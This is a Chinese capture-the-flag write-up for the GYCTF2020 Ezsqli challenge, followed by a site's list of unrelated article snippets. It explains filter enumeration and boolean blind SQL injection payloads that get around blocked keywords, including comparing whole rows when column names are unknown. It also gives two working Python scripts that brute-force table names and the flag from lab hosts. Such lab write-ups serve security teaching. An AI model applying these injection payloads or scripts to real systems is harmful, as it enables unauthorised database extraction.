[GYCTF2020]Ezsqli

文章目录

    • 测试过滤
    • 找注入点
    • 布尔盲注
    • 无列名盲注
    • 总结

测试过滤

xor
for
distinct
information
handler
binary
floor
having
join
pg_sleep

bp测试出来禁用了这些。

找注入点

查询回显推断
1Nu1L
abool(false)
1’bool(false)
1’#bool(false)不是单引号包裹
1"#bool(false)没有引号包裹的数字型注入
2-1NU1L需要找到一个不一样的回显
2V&N存在不同回显,找到注入点
2-(1=0)V&N可以布尔盲注

测试一下能不能联合注入,发现使用union select会被过滤,是如何过滤的呢?
怀疑后端首先利用is_numeric()函数对用户输入进行类型校验(判断是否为纯数字或数字开头的字符串),如果不是就返回false,如果是再进一步过滤其中关键字。类似:

$input = $_GET['id']; // 假设注入点是id参数// 第一步:类型校验(判断是否为纯数字或数字开头的字符串)
if (!is_numeric($input)) {// 输入不是数字格式(如纯字母"union")echo "false";exit;
}// 第二步:关键字过滤(仅对数字格式的输入进行检测)
$keywords = ['union', 'select', 'where'];
foreach ($keywords as $kw) {if (stripos($input, $kw) !== false) {// 检测到注入关键字(如"1union")echo "SQL Injection Checked";exit;}
}// 若都通过,则执行SQL查询
$sql = "SELECT * FROM table WHERE id = $input"; // 数字型拼接,无引号'

因为当查询"union"时回显false,查询"1union"时回显SQL Injection Checked.
那爆破id=1§1§重新看一下过滤的关键字:

and
or
xor
if
sleep
union
for
order
by
benchmark
in
limit
distinct
information
insert
handler
binary
ord
updatexml
floor
having
into
join
outfile
load_file
pg_sleep
case

那这只能利用布尔盲注了。

布尔盲注

由于information被过滤,需要用到

mysql.innodb_table_stats
MySQL 数据库系统中内置的 mysql 系统数据库下的一张表,主要用于存储
InnoDB 存储引擎表的统计信息,其中有table_name字段。存放的并非是仅当前数据库中的表信息。

爆破长度
select_len = select length(group_concat(table_name))from mysql.innodb_table_stats
2-( ({select_len})={n})
爆破字符
select = select group_concat(table_name)from mysql.innodb_table_stats
2-( ascii(substr(({select}), {i}, 1))={n} )
正确标志
Nu1L

发现2-((select length(group_concat(table_name))from mysql.innodb_table_stats)=12)仍然被禁
居然是mysql.innodb_table_stats(加入字典)
看了别人的解法,还可以用:

sys.x$schema_flattened_keys
用于展示数据库中所有表的索引信息

改一下payload再试试,可以了。
套用之前写的脚本如下:

import random
import time
import requests
from concurrent.futures import ThreadPoolExecutorurl = 'http://e576033a-5854-4f5e-870d-24ef646cba2f.node5.buuoj.cn:81/'
symbol = 'Nu1L'
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=("F1naI1y"))'
select = 'select group_concat(table_name)from sys.x$schema_flattened_keys'
length = 0
result = [''] * 1000  # 使用列表存储结果,避免线程安全问题def make_request(url, param):try:# r = requests.get(url, params=param, timeout=30)r = requests.post(url, data=param, timeout=30)r.raise_for_status()  # 检查HTTP状态码return rexcept requests.exceptions.Timeout:print("[-] 请求超时,请检查网络连接或增加超时时间")except requests.exceptions.HTTPError as e:print(f"[-] HTTP错误: {e.response.status_code}")except requests.exceptions.RequestException as e:print(f"[-] 请求异常: {str(e)}")return Nonedef make_request_with_retry(url, param):global resultr = make_request(url, param)if not r:print("[-] 重试")time.sleep(random.randint(0, 50))r = make_request(url, param)if not r:return Nonereturn rdef get_length_with_BinarySearch():global lengthlow, high = 0, 500while low <= high:mid = (low + high) // 2param = {"id": f"2-(({select_len})>={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-]长度爆破失败")if symbol in r.text:# 大于等于midparam = {"id": f"2-(({select_len})={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-]长度爆破失败")if symbol in r.text:print(f"长度为{mid}")length = midbreakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1def get_char_at_position(i):global resultprint(f"[*] 开始注入位置{i}...")low, high = 31, 127while low <= high:mid = (low + high) // 2param = {"id": f"2-(ascii(substr(({select}), {i}, 1))>={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'breakif symbol in r.text:# 大于等于midparam = {"id": f"2-(ascii(substr(({select}), {i}, 1))={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'breakif symbol in r.text:# 等于midresult[i - 1] = chr(mid)print(f"[*] 位置{i}字符为{chr(mid)}")breakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1# -----------------失败位置重试
# position = {1,}
# for i in position:
#     get_char_at_position(i)# ------------------爆破长度# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=("F1naI1y"))'
select_len = 'select length(group_concat(table_name))from sys.x$schema_flattened_keys'get_length_with_BinarySearch()if length == 0:print("[-] length为0,请检查错误")exit(0)# # ------------------单线程爆破,如果访问限制特别严重的话,最好使用单线程,并且每次请求之间主动进行时间间隔,避免请求太多永远在等待重试。
# for i in range(1, length+1):
#     get_char_at_position(i)# ------------------多线程爆破
with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]# 等待所有任务完成for future in futures:future.result()# 过滤空字符并拼接结果
final_result = ''.join(filter(None, result))
print("最终结果:", final_result)# 出错的位置
positions = []
for index, char in enumerate(final_result):if char == '?':positions.append(index)
print("出错位置:", positions)

结果:f1ag_1s_h3r3_hhhhh,users233333333333333

无列名盲注

常规思路接下来是需要爆破列名的,可是这里information用不了,那常规无列名盲注是利用union给每一列取别名,可是这里union也用不了。
看了别人的wp,这里用到一个巧妙的mysql中的比较语法。

直接举个例子说明,假如user表中数据如下:

idusernamepassword
1admina

执行select( (2, 1, 'b') > (select * from user) )结果是1
这边利用一个等同的sql语句进行测试:
在这里插入图片描述
原因:因为比较过程是从左往右对相应位置上的数据进行比较直到出现不等(类似字符串的比较),而且字符串的比较规则包括:与数字比会进行转换,与字符串比从左往右字符ascii码比较。
但是如果行数或者列数不相等都会报错:
在这里插入图片描述

所以该方法的适用范围一般是只有一行的表(当然也还有其他情况但是很少见)。

2-((1)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是bool(false) 。
2-((1,2)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是Nu1L

说明表中有一行两列,猜测flag大概率在第2列,试试看:
2-((0.5,2)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是V&N

说明第一列肯定是以数字1开头的。试试第二列:
2-((1,‘flag’)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是V&N
2-((1,‘flaz’)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是Nu1L

说明对了,接下来只需要爆破:

from time import sleep
import requestsurl = "http://ecd10bee-6427-4234-824d-a63d41f94878.node5.buuoj.cn:81/"
result = ''for i in range(1, 50):low = 31high = 128while low <= high:mid = (low + high) // 2flag = resultflag += chr(mid)data = {"id": f"2-((1,'{flag}')>(select * from f1ag_1s_h3r3_hhhhh))"}r = requests.post(url, data=data)if r.status_code == 200:if "Nu1L" in r.text:high = mid - 1else:low = mid + 1else:print("请求过多")i -= 1if high == 31:  # 说明此时已经爆破结束了exit(0)sleep(1)result += chr(high)  # 为什么是high可以举例推演一下print(result)print(result)

结果爆破出来是 FLAG{40DB05DD-C4DC-479B-AB67-979C738051D2}
出现两个问题:根据手动测试2-((1,‘flag’)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是V&N,但是爆破出来的结果是FLAG开头,大写字母的ascii码值是小于小写字母的,如果按照上面的比较规则,结果应该是Nu1L。所以一定是哪里出错了。
提交flag也未能通过,通常来说应该是flag开头。那感觉是比较规则有问题。测试一下是不是大小写不敏感呢:
2-((1,‘FLAG’)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是V&N
2-((1,‘FLAZ’)>(select * from f1ag_1s_h3r3_hhhhh)) 结果是Nu1L
果然,大小写结果是一样的。难道这是mysql的属性?本地测试一下:
在这里插入图片描述
在这里插入图片描述
果然是这样,大小写字母进行比较时并不是单纯比较ascii码,而是不区分大小写的比较方式。那怎么将其变成大小写敏感的比较呢?
在这里插入图片描述
本地测试发现BINARY是可以的,题目中试试:
2-((1,BINARY ‘FLAZ’)>(select BINARY * from f1ag_1s_h3r3_hhhhh)) 居然将BINARY过滤了

SELECT ((1, _utf8mb4’FLAZ’ COLLATE utf8mb4_bin)>(SELECT 1, _utf8mb4’flag{}’ COLLATE utf8mb4_bin))
使用该语法强制指定了字符集和排序规则,结果是0符合预期,题目中试试:
SELECT ((1, _utf8mb4’FLAZ’ COLLATE utf8mb4_bin)>(SELECT _utf8mb4 * COLLATE utf8mb4_bin from f1ag_1s_h3r3_hhhhh))
居然把bin给过滤了。

我没有任何办法了。直接将爆破出来的flag大写改小写吧。

总结

这道题用到了无列名盲注的比较方法绕过传统无列名盲注需要的union关键字,但是适用条件较严格。而且这种字符串比较的语法根据Mysql的默认配置是大小写不敏感的,这道题又将很多关键字禁用了,我暂时没有办法找到精准的解法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95539.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95539.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Agno 多 Agent 协作框架 - 手把手从零开始教程

本教程将带你从零开始&#xff0c;一步步构建一个完整的多 Agent 协作系统。每一步都有详细的代码示例和解释&#xff0c;让你真正理解 Agno 框架的工作原理。第一步&#xff1a;创建你的第一个 Agent 让我们从最简单的开始 - 创建一个能回答问题的 Agent。 1.1 创建基础文件 首…

数据库查询优化

这篇文章适合刚刚入手项目的小伙伴&#xff0c;为大家如何提高数据库查询效率提供一些建议。1.添加索引1.1 索引是什么对于索引基础薄弱的同学&#xff0c;我们可以从 “索引是什么” 简单类比&#xff1a;索引就像书籍的目录&#xff0c;能帮数据库快速定位到需要的数据&#…

安徽大学概率论期末试卷及答案解析

本文还有配套的精品资源&#xff0c;点击获取 简介&#xff1a;安徽大学的概率论课程围绕随机现象的规律性&#xff0c;覆盖了多个核心概念&#xff0c;如随机事件的概率、条件概率、独立事件、概率分布、期望值、方差、大数定律和中心极限定理。本资源包含期末试卷及答案&a…

HarmonyOS应用开发之界面列表不刷新问题Bug排查记:从现象到解决完整记录

Bug排查在软件开发过程中扮演着至关重要的角色&#xff0c;本文采用日记形式记录了Bug排查的全过程&#xff0c;通过这种方式可以更加真实、详细地记录问题&#xff0c;便于后续追溯和经验沉淀。 Bug背景 在使用HarmonyOS的ArkUI框架开发一个卡片管理应用时&#xff0c;遇到了…

FastVLM-0.5B 模型解析

模型介绍 FastVLM&#xff08;Fast Vision-Language Model&#xff09;是苹果团队于2025年在CVPR会议上提出的高效视觉语言模型&#xff0c;专为移动设备&#xff08;如iPhone、iPad、Mac&#xff09;优化&#xff0c;核心创新在于通过全新设计的 FastViTHD混合视觉编码器 解决…

集成学习 | MATLAB基于CNN-LSTM-Adaboost多输入单输出回归预测

集成学习 | MATLAB基于CNN-LSTM-Adaboost多输入单输出回归预测 一、主要功能 该代码使用 CNN 提取特征,LSTM 捕捉时序依赖,并通过 AdaBoost 集成多个弱学习器(每个弱学习器是一个 CNN-LSTM 网络),最终组合成一个强预测器,用于回归预测任务。代码完成了从数据预处理、模型…

关于Homebrew:Mac快速安装Homebrew

关于macOS 安装HomebrewHomebrewHomebrew介绍Homebrew 官网地址Homebrew 能安装什么&#xff1f;Mac上安装Homebrew主要步骤&#xff1a;打开终端&#xff0c;执行官网安装脚本注意遇到问题①&#xff1a;脚本在克隆 Homebrew 核心仓库时&#xff0c;​​无法连接 GitHub​​&a…

【前端】使用Vercel部署前端项目,api转发到后端服务器

文章目录Vercel是什么概要Vercel部署分为两种方案&#xff1a;一、使用GitHub构建部署二、通过 Vercel CLI 上传本地构建资源注意事项转发API到后端小结Vercel是什么 Vercel是一款专为前端开发者打造的云部署平台&#xff0c;它支持一键部署静态网站、AI工具和现代Web应用。Ve…

滚珠导轨在工业制造领域如何实现高效运行?

在工业制造领域中滚珠导轨凭借其高精度、低摩擦、高刚性等特点&#xff0c;被广泛应用于多种设备和场景&#xff0c;并在设备性能中起着关键作用&#xff0c;以下是具体应用&#xff1a;加工中心&#xff1a;滚珠导轨用于加工中心的工作台和主轴箱等部件的移动&#xff0c;能保…

大基座模型与 Scaling Law:AI 时代的逻辑与困境

一、背景&#xff1a;为什么大模型一定要“做大”&#xff1f; 在人工智能的发展历程中&#xff0c;有一个不容忽视的“铁律”&#xff1a;更大的模型往往意味着更强的性能。从 GPT-2 到 GPT-4&#xff0c;从 BERT 到 PaLM&#xff0c;从 LLaMA 到 Claude&#xff0c;每一代的…

内网的应用系统间通信需要HTTPS吗

内网是否需要 HTTPS&#xff1f; 虽然内网通常被视为“相对安全”的环境&#xff0c;但仍需根据具体情况决定是否使用 HTTPS&#xff0c;原因如下&#xff1a; 内部威胁风险 ● 内网可能面临内部人员攻击、横向渗透&#xff08;如黑客突破边界后在内网扫描&#xff09;、设备…

6.ImGui-颜色(色板)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 上一个内容&#xff1a;5.ImGui-按钮 IMGui中表示颜色的的结构体 ImVec4和ImU32&#xff0c;如下图红框…

【C++】Vector完全指南:动态数组高效使用

0. 官方文档 vector 1. vector介绍 Vector 简单来说就是顺序表&#xff0c;是一个可以动态增长的数组。 vector是表示可变大小数组的序列容器。 就像数组一样&#xff0c;vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vector的元素进行访问&#xff0c…

关于无法导入父路径的问题

问题重现 有下面的代码&#xff1a; from ..utils import Config,set_DATA_PATH DATA_PATH set_DATA_PATH()报错如下&#xff1a;from ..utils import Config,set_DATA_PATH ImportError: attempted relative import beyond top-level package解决方案 #获取当前脚本所在目录的…

C/C++包管理工具:Conan

Conan是一个专为C/C设计的开源、去中心化、跨平台的包管理器&#xff0c;致力于简化依赖管理和二进制分发流程。Conan基于Python进行开发&#xff0c;支持与主流的构建系统集成&#xff0c;提供了强大的跨平台和交叉编译能力。通过Conan&#xff0c;开发者可以高效的创建、共享…

核心高并发复杂接口重构方案

核心高并发复杂接口重构方案 一、重构目标与原则 核心目标 提升接口性能:降低响应时间,提高吞吐量,降低资源使用 增强可维护性:拆解复杂逻辑,模块化设计,降低后续迭代成本 保障稳定性:通过架构优化和灰度策略,确保重构过程无服务中断 提升扩展性:设计灵活的扩展点,…

C++容器内存布局与性能优化指南

C容器的内存布局和缓存友好性对程序性能有决定性影响。理解这些底层机制&#xff0c;能帮你写出更高效的代码。 一、容器内存布局概述 不同容器在内存中的组织方式差异显著&#xff0c;这直接影响了它们的访问效率和适用场景。容器类型内存布局特点元数据位置元素存储位置std::…

Beautiful.ai:AI辅助PPT工具高效搞定排版,告别熬夜做汇报烦恼

你是不是每次做 PPT 都头大&#xff1f;找模板、调排版、凑内容&#xff0c;熬大半夜出来的东西还没眼看&#xff1f;尤其是遇到 “明天就要交汇报” 的紧急情况&#xff0c;打开 PPT 软件半天&#xff0c;光标在空白页上晃来晃去&#xff0c;连标题都想不出来 —— 这种抓瞎的…

阿里云携手MiniMax构建云原生数仓最佳实践:大模型时代的 Data + AI 数据处理平台

MiniMax简介MiniMax是全球领先的通用人工智能科技公司。自2022年初成立以来&#xff0c;MiniMax以“与所有人共创智能”为使命&#xff0c;致力于推动人工智能科技前沿发展&#xff0c;实现通用人工智能(AGI&#xff09;。MiniMax自主研发了一系列多模态通用大模型&#xff0c;…

一键生成PPT的AI工具排名:2025年能读懂你思路的AI演示工具

人工智能正在重塑PPT制作方式&#xff0c;让专业演示变得触手可及。随着人工智能技术的飞速发展&#xff0c;AI生成PPT工具已成为职场人士、学生和创作者提升效率的得力助手。这些工具通过智能算法&#xff0c;能够快速将文本、数据或创意转化为结构化、视觉化的演示文稿&#…